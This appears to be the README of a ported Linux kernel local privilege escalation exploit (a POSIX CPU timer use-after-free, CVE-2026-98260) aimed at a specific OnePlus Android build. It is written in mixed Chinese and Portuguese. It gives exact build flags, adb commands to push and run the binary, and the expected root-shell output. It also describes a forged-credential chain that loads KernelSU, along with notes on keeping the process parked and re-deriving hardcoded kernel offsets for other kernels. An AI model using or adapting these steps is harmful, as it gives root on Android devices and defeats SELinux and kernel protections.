CVE-2026-98260 Timer LPE

CVE-2026-98260 POSIX CPU timer UAF 移植，适用于 6.6.118-android15-8-g9bc34d5b0c79-abogki537459655-4k（OnePlus PKX110，SM8650/sun）

两条链：

timer: cred real com zero gravações → uid=0, u:r:shell:s0 (root no domínio shell, bset caps)
timer fake: cred fake (full caps) → late-load do libksud.so do KernelSU instalado

状态

Caminho	Resultado
cred real com zero gravações + `setuid(0)` + `exec sh`	`uid=0`, `u:r:shell:s0`, `ROOT_SHELL_OK`
cred fake + `ksud late-load`	`libksud.so` da versão instalada (uapi 6), `KSU_LOADED`, `su` como `u:r:ksu:s0`

环境

启动身份：adb/shell（uid 2000，u:r:shell:s0），可读 tracefs 与 /proc/slabinfo
已安装 KernelSU manager（me.weishu.kernelsu）时，fake 会自动使用其 lib/arm64/libksud.so

构建

NDK 28.2（aarch64，API 35）：

cd timer
NDK=~/Android/Sdk/ndk/28.2.13676358/toolchains/llvm/prebuilt/linux-x86_64/bin
$NDK/aarch64-linux-android35-clang -O2 -std=gnu11 -static \
    -fno-stack-protector -fno-pic -I. \
    -ffunction-sections -fdata-sections timer.c -o timer \
    -Wl,--gc-sections -Wl,-s -Wl,--build-id=none \
    -Wl,-z,norelro -pthread

使用

adb push timer /data/local/tmp/timer
adb shell chmod 755 /data/local/tmp/timer

# 诊断
adb shell /data/local/tmp/timer ids     # 探测 tracefs page event id
adb shell /data/local/tmp/timer leak    # 只做 base/cred/task 泄漏，不触发 UAF

# shell uid-0 (cred real)
adb shell /data/local/tmp/timer         # id + context + ROOT_SHELL_OK
adb shell /data/local/tmp/timer shell   # sh interativo

# KernelSU (cred fake + ksud da versão instalada) —— executa em primeiro plano, logs exibidos em tempo real
adb shell /data/local/tmp/timer fake
# após ver "[!] fake cred page held; reboot to clean" pode fechar o terminal diretamente
# (ao fazer park, SIGHUP/SIGINT/SIGTERM já são ignorados; o processo continua segurando a página de cred fake e não será morto por engano por Ctrl-C/desconexão)

# 若仍需在设备侧留存日志（同时实时显示）：
adb shell 'cd /data/local/tmp && ./timer fake 2>&1 | tee timer.log'

fake 成功标志：

[ksu] ksud=.../lib/arm64/libksud.so version=ksud 3.3.1-24-g528bafc5 (uapi: 6)
KSU_LOADED
kernelsu ... Live

adb shell /system/bin/su -c id   # uid=0 ... context=u:r:ksu:s0

安全

失败 state 会 park 并持有 zombie；不要 kill，重启是唯一安全清理
fake 成功后父进程也会 park，用 socket 持有 fake cred 页
触发 UAF 后不要对 parked 进程 timeout/kill，否则 init 回收 stale node 可能 panic
park_forever() 会忽略 SIGHUP/SIGINT/SIGQUIT/SIGTERM/SIGPIPE，因此前台运行时可安全地用 Ctrl-C 或关闭 adb 终端脱开；真正终止只能靠 SIGKILL（或重启）
硬重启后 ksu root 消失，使用 KernelSU 模拟软重启不会导致 ksu root 消失

目标与移植

关键常量写死在 timer/timer.c：do_timer_create/copy_process 站点、selinux_state、panic_on_warn、copy_process task cache 大小、init_* 符号

Ao trocar o kernel, rederive usando o boot.img/BTF/kallsyms do dispositivo; os arquivos em tools/ servem para verificar call site, raw record, vazamento de timer e o canal de recuperação AF_UNIX de 8 KiB

参考

woshigenm/CVE-2026-98260（MIT）：trigger、real-cred 零写、fake cred/KSU 思路
ghostlock-app：KernelSU late-load 最终阶段
其他 CVE-2026-98260 移植项目：order-1 回收与触发时序

CVE-2026-98260

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CVE-2026-98260 Timer LPE

状态

环境

构建

使用

安全

目录

目标与移植

参考